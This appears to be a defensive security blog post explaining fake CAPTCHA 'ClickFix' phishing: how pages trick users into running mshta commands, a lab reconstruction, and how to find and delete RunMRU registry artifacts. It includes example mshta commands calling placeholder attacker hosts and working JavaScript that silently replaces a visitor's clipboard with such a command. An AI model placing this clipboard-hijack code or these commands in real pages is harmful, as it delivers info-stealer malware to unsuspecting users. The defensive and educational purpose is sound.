Fake Captcha Phishing

You’ve seen them everywhere—”Captcha” puzzles that make you click on traffic lights or type out wavy letters to prove you’re human. Captchas are supposed to keep threat actors out, but what if they’re actually being used by the threat actors?

Welcome to the world of Fake Captcha Phishing, where cyber criminals disguise their scams as innocent security checks to trick you into downloading and executing information stealer malware on your computer. In this post, we’ll break down how these attacks work, what to look out for and certain registry artifacts that will always be present regardless of whether the attack is blocked or not.

In this post I aim to explain things in a way that is understandable to both technical and non-technical individuals alike. As someone who is self taught, I understand how confusing some of these concepts can be, so I’ll try to explain things as clearly as I can.

I’ve also attached a resources section at the bottom of the article for anyone who wants to do any further reading! Hopefully that helps.

ARTICLE TLDR:

• ‘Fake Captcha Phishing’ pages are malicious or compromised web pages disguised as Captcha challenges that trick you into pasting and executing malicious code on your computer

• Commonly associated with Information Stealing Malware (Especially Lumma Stealer)

• Works by using Mshta.exe to execute a malicious HTML Application (HTA) hosted on a threat actors server - this then spawns PowerShell to download and execute the second stage (Malware)

• There’s a technical breakdown including an overview of the JS and HTA code that can be used in these attacks.

• RunMRU Registry Artifacts are dropped whenever commands are successfully executed in the Windows Run box, there’s a breakdown on how to remediate them.

• Resources for further reading are at the bottom of the page.

WHAT IS FAKE CAPTCHA PHISHING?

Before we begin, let's cover what Fake CAPTCHA Phishing pages are and how they work. These deceptive pages use a tactic called ClickFixing, where attackers design a familiar-looking page to trick you into clicking and unknowingly executing malicious code on your system. In this case, the "fix" is simply completing what appears to be a harmless CAPTCHA challenge—but in reality, you’re installing and executing malware often without even realizing it.

With these attacks, you will often be presented with a set of instructions like the ones seen in the image below. These instructions will have you do the following:

1. Open the windows Run prompt

2. Paste some content (Malicious commands)

3. Execute the malicious commands.

Following and completing the instructions above, will often lead to information stealing malware being downloaded and executed on the victims computer without them realizing.

Information stealing (info-stealer) malware a malicious program that looks for sensitive information on your computer (such as passwords) and sends it to a server which is controlled by a threat actor (hacker).

HOW IT WORKS (PART 1 - BASICS)

To demonstrate this, I have gone and built my own instance of a fake captcha landing page which you can see further down in the article. Here I will give you an overview of how the attack works and cover some of the technical details around the code and functionality later down the line, but for now, lets cover the basics of this works.

1. THE USER REACHES THE MALICIOUS / COMPROMISED WEB PAGE

These attacks often start by the victim navigating to a compromised or malicious web page where they are then redirected to what looks like an innocent CAPTCHA challenge you would normally see every day.

From here the victim will often click ‘I am not a robot’ assuming this is just a regular captcha challenge to ‘verify’ they are human.

2. THE VERIFICATION INSTRUCTIONS

This is where our user will be instructed to paste and execute malicious commands on their system.

At this stage in the attack, after the user had clicked the verification button, the contents of their clipboard will have been replaced with malicious commands without their knowledge.

The user is now instructed to open the Windows Run dialogue box, paste these commands and execute them.

3. THE USER EXECUTES THE MALICIOUS COMMANDS

The user then pastes the malicious commands into the Windows Run dialogue box and executes it.

After this point, malware will be stealthily downloaded and executed on the user’s computer. This attack has often been associated with Lumma Stealer and other information stealing malware but at the time of writing, I have seen reference to other malware families and malware types being used in these attacks as different threat actors are catching on and re-using this technique themselves.

HOW IT WORKS (PART 2 - TECHNICALS)

Now that we have an overview of how the attack works, it’s basically a copy/paste malware installation. But how does it actually work?

MSHTA.EXE

These attacks start off by using Windows Mshta.exe. This is a Windows-native binary which is used to execute HTML Application (.HTA Files) script code. Mshta.exe is used to reach out to a domain controlled by the threat actor which is serving a malicious .HTA file containing a second stage script within it.

HTML Applications, just like Executables (EXE’s) have read/write access to the files and system registry on the client machine. These files can contain malicious scripts written in VBScript or JavaScript that get embedded within the HTML which attackers are using to carry out the second stage of the attack.

The malicious MSHTA commands executed within the Run box often look something like this:

C:\Windows\System32\mshta.exe http://maliciousDomain[.]shop/some_song.mp3 ✅ ''I am not a robot - reCAPTCHA Verification ID: 1234

Once pasted in the user’s Run box, it will look like this:

Something I found quite interesting with this (other than the obvious phishing/social engineering element), is that the verification string in most of these cases is just long enough so that it perfectly hides the malicious mshta commands at the start by filling the full width of the input field.

POWERSHELL.EXE

Upon executing the previous commands and accessing the malicious HTA file, PowerShell.exe is pretty much always used to execute the second stage which is the downloading and execution of information stealing malware.

PowerShell commands can be embedded within the HTA files like in the image below where I used VBScript to execute PowerShell.exe and spawn Calc.exe as a proof of concept:

When dealing with these attacks in the field, the PowerShell commands executed are usually heavily encoded or obfuscated and will reach out to a secondary domain to pull and execute the malware of choice.

A couple of points on this:

1. In my personal experience, the overwhelming majority of the domains used in these attacks will use a [.]shop domain. Other TLD’s I’ve seen include: [.]icu and [.]xyz. I have also seen instances where the first stage HTA payload is being hosted on Github or other commonly used hosting platforms which makes it a lot harder to block but the second stage will almost always contain a [.]shop domain.

2. Use PSDecode to decode any heavily obfuscated PowerShell you find in these command lines. Trust me, its brilliant!

3. Even if the malicious command looks like its pointing to an MP3 file like → badDomain[.]shop/rickroll.mp3. It’s not. It’s pointing to a HTA file. Mshta.exe can ONLY execute/interact with .HTA files and the script content within it. If you host a malicious HTA file and have it saved as payload.mp3, the DocType declaration within the HTA file will still be respected so it will be opened as a HTML document regardless.

4. This one is more for any junior analysts out there. If you ever see a PowerShell command line that contains Invoke Expression (IEX), this means that the content/payload being referenced will have been executed in Memory. Therefore, do not expect to find any files written to disk because you won’t find anything. This is also commonly known as ‘fileless malware’ execution as no artefacts are written to disk in most cases. I’m adding this point following conversations I’ve had with a number of new joiners in the industry and it seems to be a point that isn’t really taught early on.

THE LAB SETUP DETAILS:

I’m sure there are some of you out there who are curious as to how this works on a technical level, so let me share my 2 cents on how I went about this.

To begin with, the setup itself is honestly very basic.

• Kali Linux VM using Apache2 to host the malicious web page itself.

• Using a self signed SSL certificate on the Apache server to allow HTTPS

  Note - Without this, the browser will not allow JavaScript to execute (Won’t allow the clipboard to be replaced)

[-] Windows 11 VM as the ‘victim’ host.

THE CODE:

Here I wanted to give some insight into the JS code I used to replace the contents of the user’s clipboard. The code below does the following:

1. Creates a variable named ‘button’ mapped to the element within the HTML with an ID of ‘captchaButton’

2. Creates an event listener that waits for the button to be clicked and specifies a function to be executed after being clicked.

3. Declares the function using the Navigator interface to write to the user’s clipboard without them realizing.

// VARIABLE DECLARATION FOR THE CAPTCHA BUTTON USED TO REPLACE THE USER'S CLIPBOARD
let button = document.getElementById('captchaButton'); // Creates variable for the captcha button itself by the ID 'captchaButton' specified in the HTML

// EVENT LISTENER FOR BUTTON CLICK
button.addEventListener('click', showInstructions); // Event Listener that runs the showInstructions() function when the button is clicked

// FUNCTION TO SHOW INSTRUCTIONS AND REPLACE CLIPBOARD CONTENT
function showInstructions() { // Declaring the function showInstructions()
    const clipboardReplace = "C:\\Windows\\System32\\mshta.exe http://badactor.com/payload.hta"; 
    // Above, we are declaring a string variable to hold the malicious commands we want to paste into the user's clipboard
    navigator.clipboard.writeText(clipboardReplace); // Using Navigator object to write to the user's clipboard after they click the button.
}

I spent some time experimenting with this to see if there was a better way to replace the user’s clipboard without them even needing to click the button. This is where I had the idea to try using a ‘mouseover’ event instead of a ‘click’. By using ‘mouseover’, the user would only need to have their mouse cursor within the browser window for their clipboard to be replaced.

Unfortunately if you do this, it will pop a notification up on the screen saying, “<Malicious Domain> wants to see text and images copied to the clipboard” which (you’d hope) would spook the user and cause them to close the tab. However, by clicking ‘Allow’ this would enable the web page to replace (or read) the user’s clipboard contents just by moving the cursor over the page. I have personally never seen this method used but I thought it would be cool to test it regardless.

However, if you use a ‘click’ event, this notification WILL NOT appear.

THE ARTIFACTS

Okay. Now lets touch on the real reason I decided to create this article!

Whether these attacks are successful or not, if a user enters anything into the Windows Run prompt, there is a registry key that saves and caches the command executed by the user.

This is the Windows RunMRU Key

HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Simply put, the RunMRU key, is the Windows Run Prompt Most Recently Used registry key (Hence MRU). This is where any commands previously executed within the run prompt are stored.

The cause for concern here is down to the fact that whenever the user re-opens the Run Prompt, they will have a drop down list of previously used commands including those malicious ones from the phishing page. Therefore, the user can potentially select and execute these commands again even if they never reconnect to the original phishing domain.

By clearing these keys you’re going to prevent this from ever happening and it saves you from having to blindly tell the customer or the I.T Team to rebuild every machine that this happens on which seems to be the case with a lot of SOC Teams after speaking to a few people about this subject.

UPDATE: After writing this blog, at work we also started to see this being used as an intentional persistence method where the attacker queries the RunMRU key for malicious commands previously executed and then calls/executes the commands out of RunMRU itself. I’ve not seen this in action properly myself but thought it was worth adding for awareness.

REMEDIATING THE KEYS

There are 3 Steps to Remediating these keys:

1. Obtaining user SIDs

2. Querying the registry

3. Deleting the malicious Registry artifacts

STEP 1: Obtaining User SID

In order to remediate the malicious registry keys, you will first need the Security Identifier (SID) of the user who was targeted. There are many ways to do this, I have listed some useful commands blow that may help.

Obtaining SID of the Current User (Your user)

whoami /user

Obtaining the SID of a Local User via PowerShell

• Note, replace <USERNAME> with the user account in question

Get-WmiObject Win32_UserAccount | Where-Object { $_.Name -eq "<USERNAME>" } | Select-Object Name, SID

Obtaining the SID of a Domain User

• Note, this requires the PowerShell Active Directory Module

Get-ADUser -Identity <USERNAME> -Properties SID | Select-Object Name, SID

STEP 2: Query the RunMRU Key

Replace <SID> with the SID of the user you are investigating.

reg query HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

When you query the registry key, you should see something like this:

In yellow we have the registry query command.

In red, we have the malicious RunMRU registry value which references the malicious commands copied and executed by the user.

Again, please note that ANY commands that get executed in the Run box, are stored to this key. I’ve tried to demonstrate this by running notepad.exe and cmd.exe via the run prompt as you can see above.

STEP 3: Deleting The Registry Keys

Now we have identified there is a malicious value present within the registry, we need to remove it. I personally always recommend doing the following:

1. Delete the malicious value

2. Delete the MRUList value too (More on this below - please read as you may find it useful)

Using PowerShell:

reg delete HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /v 'a' /f

reg delete HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /v 'MRUList' /f

Let’s break the command down:

• reg - Calls the Windows CLI utility for accessing/modifying the registry

• delete - This is the action we are going to carry out, in this case, deleting a key from the registry.

• HKEY_USERS<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU - Specifies the RunMRU Registry Key we are accessing

• /v - Specifies the registry value we are going to delete

• ‘a’ and ‘MRUList’ - Anything within these single quotes should be the value we are targeting.

• /f - FORCE

If done correctly, you should see something similar to the following:

WHAT IS MRUList?

Now for me to try and explain the MRUList value without confusing you. This isn’t critical or crazy important but I found this interesting while testing and thought it may be worth sharing.

Within the RunMRU Registry, there is a value called MRUList. This is a single value that is used by the Run Prompt GUI to provide a cached list of all the ‘Most Recently Used’ commands. In simple terms, it’s a single value within the registry that holds all of the ‘command history’ for the run box. When a command is successfully executed via the Run box, it is assigned a value within the RunMRU registry key in alphabetical order. The first command will be assigned to a value of ‘a’, the second will be ‘b’ and so on…

If you delete the MRUList value, this clears the list from the Run box GUI. More on this below.

In the screenshot above, when the Run prompt is open, the MRUList (Most Recently Used List) value is being called to provide a list of most recently used commands that have been executed within the run box.

If you look at where I have highlighted the MRUList’s contents being dcba you will notice that this is the reverse order of all the other values a, b, c and d. Again, this one value references all the others in the registry.

Each time a command is executed in the Run box, it is stored under a value in alphabetical order as you can see in the screenshot, a = cmd.exe echo "example1”, b = cmd.exe echo "example2" etc…

MRUList stores these values in reverse order so that when the Run box calls the list of recently used commands, the most recent command (in this case, ‘d’) appears at the top. Notice how in the run box, Example4 is at the top of the list?

Now. Why do I delete this key?

To be completely honest, its not 100% necessary. As long as you remediate all the malicious values, you’ll be fine and there’s really no need to delete this but I just do it anyway to cover all bases.

I personally delete the MRUList to clear the cached list of previously executed commands so that the user has nothing they can execute if they open the run prompt again. Again, not 100% necessary if the malicious artefacts are removed.

Something that is worth noting, is that if you delete the MRUList on its own, and leave the malicious values in place (Please don’t do this…) the user will not be able to see or re-run the malicious commands as the list within the GUI will have been cleared as seen below.

As you can see, the MRUList value has been deleted and the list of MRU commands is now blank even though our example ‘malicious’ commands are still in the registry.

Once MRUList has been deleted, it will only re-appear if something else is executed in the run box following its deletion.

Even when it is re-created, the new MRUList value will ONLY reference any commands executed after it has been created, therefore, the old values will never be shown in the list.

Things to note in this screenshot:

• MRUList was previously deleted as we have seen above.

• I’ve ran 2x new commands - cmd.exe echo “example5 NEW” and cmd.exe echo “example6 NEW” in the Run box

• MRUList is now back in the registry

• When new commands are executed after MRUList is deleted, they are assigned values in alphabetical order restarting from ‘A’, overwriting previous values - Notice how example1 and example2 have now been replaced by example5 and example6

• MRUList only references values ‘a’ and ‘b’ now (shown as ‘ba’) as they were executed after MRUList was re-created.

• MRUList does not include ‘c’ and ‘d’ (Example3 and Example4) as they are old values that will now be overwritten going forward.

RESOURCES:

I have added a list of resources I have used to learn about all of the topics covered in this article.

• MDN Documentation

• W3 Schools

• Codecademy Full Stack Engineer Course (Highly Recommend)

• ChatGPT - (Of course - But don’t lean on this too much)